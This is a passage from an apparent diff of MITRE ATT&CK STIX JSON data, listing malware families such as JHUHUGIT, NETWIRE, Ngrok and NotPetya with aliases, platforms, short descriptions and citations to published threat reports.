Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", + "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.", + "source_name": "ESET InvisiMole June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Ixeshe", + "x_mitre_aliases": [ + "Ixeshe" + ], + "x_mitre_version": "1.2", + "modified": "2020-03-20T22:45:06.494Z", + "created": "2017-05-31T21:32:16.360Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) is a malware family that has been used since at least 2009 against targets in East Asia. (Citation: Moran 2013)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0015", + "external_id": "S0015", + "source_name": "mitre-attack" + }, + { + "source_name": "Moran 2013", + "description": "Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "JCry", + "x_mitre_aliases": [ + "JCry" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T16:51:27.312Z", + "created": "2019-06-18T17:20:43.635Z", + "id": "malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82", + "description": "[JCry](https://attack.mitre.org/software/S0389) is ransomware written in Go. It was identified as apart of the #OpJerusalem 2019 campaign.(Citation: Carbon Black JCry May 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0389", + "external_id": "S0389", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Carbon Black JCry May 2019)", + "source_name": "JCry" + }, + { + "source_name": "Carbon Black JCry May 2019", + "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019.", + "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "JHUHUGIT", + "x_mitre_aliases": [ + "JHUHUGIT", + "Trojan.Sofacy", + "Seduploader", + "JKEYSKW", + "Sednit", + "GAMEFISH", + "SofacyCarberp" + ], + "x_mitre_version": "2.1", + "modified": "2020-03-30T16:51:56.323Z", + "created": "2017-05-31T21:32:34.199Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) is malware used by [APT28](https://attack.mitre.org/groups/G0007). It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0044", + "external_id": "S0044", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye APT28 January 2017)", + "source_name": "JHUHUGIT" + }, + { + "description": "This designation has been used in reporting both to refer to the threat group (Skeleton Key) and its associated malware.(Citation: Symantec APT28 Oct 2018)", + "source_name": "Trojan.Sofacy" + }, + { + "description": "(Citation: FireEye APT28 January 2017)(Citation: Talos Seduploader Oct 2017)", + "source_name": "Seduploader" + }, + { + "description": "(Citation: FireEye APT28 January 2017)", + "source_name": "JKEYSKW" + }, + { + "description": "This designation has been used in reporting both to refer to the threat group (APT28) and its associated malware.(Citation: FireEye APT28 January 2017)", + "source_name": "Sednit" + }, + { + "description": "(Citation: FireEye APT28 January 2017)", + "source_name": "GAMEFISH" + }, + { + "description": "(Citation: Unit 42 Sofacy Feb 2018)", + "source_name": "SofacyCarberp" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. 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Retrieved August 24, 2021.", + "source_name": "ESET Kobalos Jan 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Komplex", + "x_mitre_aliases": [ + "Komplex" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T16:55:54.637Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_platforms": [ + "macOS" + ], + "id": "malware--f108215f-3487-489d-be8b-80e346d32518", + "description": "[Komplex](https://attack.mitre.org/software/S0162) is a backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be developed in a similar manner to [XAgentOSX](https://attack.mitre.org/software/S0161) (Citation: XAgentOSX 2017) (Citation: Sofacy Komplex Trojan).", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0162", + "url": "https://attack.mitre.org/software/S0162" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/", + "description": "Robert Falcone. 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The presence of certain strings in the malware suggests a Linux variant of [LightNeuron](https://attack.mitre.org/software/S0395) exists.(Citation: ESET LightNeuron May 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0395", + "external_id": "S0395", + "source_name": "mitre-attack" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. 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Retrieved February 15, 2021.", + "source_name": "FireEye Financial Actors Moving into OT" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Melcoz", + "x_mitre_aliases": [ + "Melcoz" + ], + "x_mitre_version": "1.0", + "modified": "2020-12-22T21:20:18.142Z", + "created": "2020-11-10T20:24:50.464Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96", + "description": "[Melcoz](https://attack.mitre.org/software/S0530) is a banking trojan family built from the open source tool Remote Access PC. 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The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.", + "source_name": "Medium Metamorfo Apr 2020" + }, + { + "url": "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/", + "description": "ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021.", + "source_name": "ESET Casbaneiro Oct 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Micropsia", + "x_mitre_aliases": [ + "Micropsia" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T17:03:01.353Z", + "created": "2019-01-29T21:47:53.070Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) is a remote access tool written in Delphi.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0339", + "external_id": "S0339", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)", + "source_name": "Micropsia" + }, + { + "source_name": "Talos Micropsia June 2017", + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + }, + { + "source_name": "Radware Micropsia July 2018", + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Miner-C", + "x_mitre_aliases": [ + "Miner-C", + "Mal/Miner-C", + "PhotoMiner" + ], + "x_mitre_version": "1.0", + "modified": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234", + "description": "[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. 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Retrieved October 12, 2016.", + "source_name": "Softpedia MinerC" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "MiniDuke", + "x_mitre_aliases": [ + "MiniDuke" + ], + "x_mitre_version": "1.3", + "modified": "2021-10-14T21:21:51.872Z", + "created": "2017-05-31T21:32:36.919Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", + "description": "[MiniDuke](https://attack.mitre.org/software/S0051) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. The [MiniDuke](https://attack.mitre.org/software/S0051) toolset consists of multiple downloader and backdoor components. The loader has been used with other [MiniDuke](https://attack.mitre.org/software/S0051) components as well as in conjunction with [CosmicDuke](https://attack.mitre.org/software/S0050) and [PinchDuke](https://attack.mitre.org/software/S0048). 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Retrieved September 21, 2018.", + "source_name": "APT15 Intezer June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Mis-Type", + "x_mitre_aliases": [ + "Mis-Type" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-20T18:16:03.001Z", + "created": "2017-05-31T21:32:55.565Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) is a backdoor hybrid that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) in 2012. (Citation: Cylance Dust Storm)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0084", + "external_id": "S0084", + "source_name": "mitre-attack" + }, + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. 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(Citation: Cylance Dust Storm)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0083", + "external_id": "S0083", + "source_name": "mitre-attack" + }, + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. 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(Citation: Scarlet Mimic Jan 2016)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0079", + "external_id": "S0079", + "source_name": "mitre-attack" + }, + { + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016" + } + ] + }, + { + "type": "malware", + "modified": "2021-04-27T02:20:58.446Z", + "name": "MoleNet", + "x_mitre_aliases": [ + "MoleNet" + ], + "x_mitre_version": "1.0", + "created": "2020-12-28T22:09:15.461Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--8a59f456-79a0-4151-9f56-9b1a67332af2", + "description": "[MoleNet](https://attack.mitre.org/software/S0553) is a downloader tool with backdoor capabilities that has been observed in use since at least 2019.(Citation: Cybereason Molerats Dec 2020)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0553", + "external_id": "S0553", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Cybereason Molerats Dec 2020)", + "source_name": "MoleNet" + }, + { + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020.", + "source_name": "Cybereason Molerats Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "MoonWind", + "x_mitre_aliases": [ + "MoonWind" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T19:57:17.490Z", + "created": "2017-05-31T21:33:27.016Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. 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(2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "source_name": "Talos Cobalt Group July 2018" + }, + { + "source_name": "Security Intelligence More Eggs Aug 2019", + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + }, + { + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021.", + "source_name": "ESET EvilNum July 2020" + }, + { + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.", + "source_name": "Crowdstrike GTR2020 Mar 2020" + }, + { + "source_name": "Visa FIN6 Feb 2019", + "description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.", + "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Mosquito", + "x_mitre_aliases": [ + "Mosquito" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T17:06:45.586Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) is a Win32 backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). 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Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "NDiskMonitor", + "x_mitre_aliases": [ + "NDiskMonitor" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T17:07:15.145Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e", + "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) is a custom backdoor written in .NET that appears to be unique to [Patchwork](https://attack.mitre.org/groups/G0040). (Citation: TrendMicro Patchwork Dec 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0272", + "external_id": "S0272", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: TrendMicro Patchwork Dec 2017)", + "source_name": "NDiskMonitor" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "NETEAGLE", + "x_mitre_aliases": [ + "NETEAGLE" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T17:07:46.499Z", + "created": "2017-05-31T21:32:27.787Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) is a backdoor developed by [APT30](https://attack.mitre.org/groups/G0013) with compile dates as early as 2008. It has two main variants known as \u201cScout\u201d and \u201cNorton.\u201d (Citation: FireEye APT30)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0034", + "external_id": "S0034", + "source_name": "mitre-attack" + }, + { + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "NETWIRE", + "x_mitre_aliases": [ + "NETWIRE" + ], + "x_mitre_version": "1.4", + "modified": "2021-10-12T11:21:09.567Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "id": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.(Citation: FireEye APT33 Sept 2017)(Citation: McAfee Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 2017)", + "x_mitre_contributors": [ + "Tony Lambert, Red Canary" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0198", + "external_id": "S0198", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017) (Citation: McAfee Netwire Mar 2015)", + "source_name": "NETWIRE" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "source_name": "FireEye APT33 Sept 2017" + }, + { + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/", + "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", + "source_name": "McAfee Netwire Mar 2015" + }, + { + "url": "https://www.brighttalk.com/webcast/10703/275683", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "source_name": "FireEye APT33 Webinar Sept 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "NOKKI", + "x_mitre_aliases": [ + "NOKKI" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-18T15:22:32.747Z", + "created": "2019-01-30T19:50:45.307Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) is a modular remote access tool. The earliest observed attack using [NOKKI](https://attack.mitre.org/software/S0353) was in January 2018. [NOKKI](https://attack.mitre.org/software/S0353) has significant code overlap with the [KONNI](https://attack.mitre.org/software/S0356) malware family. There is some evidence potentially linking [NOKKI](https://attack.mitre.org/software/S0353) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0353", + "external_id": "S0353", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Unit 42 NOKKI Sept 2018)", + "source_name": "NOKKI" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "source_name": "Unit 42 NOKKI Sept 2018" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "source_name": "Unit 42 Nokki Oct 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Naid", + "x_mitre_aliases": [ + "Naid" + ], + "x_mitre_version": "1.0", + "modified": "2021-01-06T19:32:28.371Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", + "description": "[Naid](https://attack.mitre.org/software/S0205) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0205", + "external_id": "S0205", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Symantec Naid June 2012)", + "source_name": "Naid" + }, + { + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99", + "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.", + "source_name": "Symantec Naid June 2012" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "NanHaiShu", + "x_mitre_aliases": [ + "NanHaiShu" + ], + "x_mitre_version": "1.1", + "modified": "2020-06-23T20:05:03.169Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) is a remote access tool and JScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). [NanHaiShu](https://attack.mitre.org/software/S0228) has been used to target government and private-sector organizations that have relations to the South China Sea dispute. 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(Citation: Cylance Cleaver)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0056", + "external_id": "S0056", + "source_name": "mitre-attack" + }, + { + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", + "description": "Cylance. (2014, December). Operation Cleaver. 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Retrieved November 12, 2014.", + "source_name": "Kaspersky NetTraveler" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Netwalker", + "x_mitre_aliases": [ + "Netwalker" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-16T16:14:19.924Z", + "created": "2020-05-26T21:02:38.186Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--754effde-613c-4244-a83e-fb659b2a4d06", + "description": "[Netwalker](https://attack.mitre.org/software/S0457) is fileless ransomware written in PowerShell and executed directly in memory.(Citation: TrendMicro Netwalker May 2020)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0457", + "external_id": "S0457", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/", + "description": "Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020.", + "source_name": "TrendMicro Netwalker May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Ngrok", + "x_mitre_aliases": [ + "Ngrok" + ], + "x_mitre_version": "1.0", + "modified": "2020-09-29T20:46:04.658Z", + "created": "2020-09-15T13:32:10.185Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--911fe4c3-444d-4e92-83b8-cc761ac5fd3b", + "description": "[Ngrok](https://attack.mitre.org/software/S0508) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. [Ngrok](https://attack.mitre.org/software/S0508) has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.(Citation: Zdnet Ngrok September 2018)(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)", + "x_mitre_contributors": [ + "Janantha Marasinghe" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0508", + "external_id": "S0508", + "source_name": "mitre-attack" + }, + { + "url": "https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/", + "description": "Cimpanu, C. (2018, September 13). Sly malware author hides cryptomining botnet behind ever-shifting proxy service. Retrieved September 15, 2020.", + "source_name": "Zdnet Ngrok September 2018" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "description": "Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020.", + "source_name": "FireEye Maze May 2020" + }, + { + "url": "https://cyware.com/news/cyber-attackers-leverage-tunneling-service-to-drop-lokibot-onto-victims-systems-6f610e44", + "description": "Cyware. (2019, May 29). Cyber attackers leverage tunneling service to drop Lokibot onto victims\u2019 systems. Retrieved September 15, 2020.", + "source_name": "Cyware Ngrok May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Nidiran", + "x_mitre_aliases": [ + "Nidiran", + "Backdoor.Nidiran" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-18T15:21:51.702Z", + "created": "2017-05-31T21:33:09.842Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "description": "[Nidiran](https://attack.mitre.org/software/S0118) is a custom backdoor developed and used by [Suckfly](https://attack.mitre.org/groups/G0039). It has been delivered via strategic web compromise. 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Retrieved August 3, 2016.", + "source_name": "Symantec Suckfly March 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "NotPetya", + "x_mitre_aliases": [ + "NotPetya", + "ExPetr", + "Diskcoder.C", + "GoldenEye", + "Petrwrap", + "Nyetya" + ], + "x_mitre_version": "2.0", + "modified": "2021-04-23T19:31:47.185Z", + "created": "2019-03-26T15:02:14.907Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) is malware that was used by [Sandworm 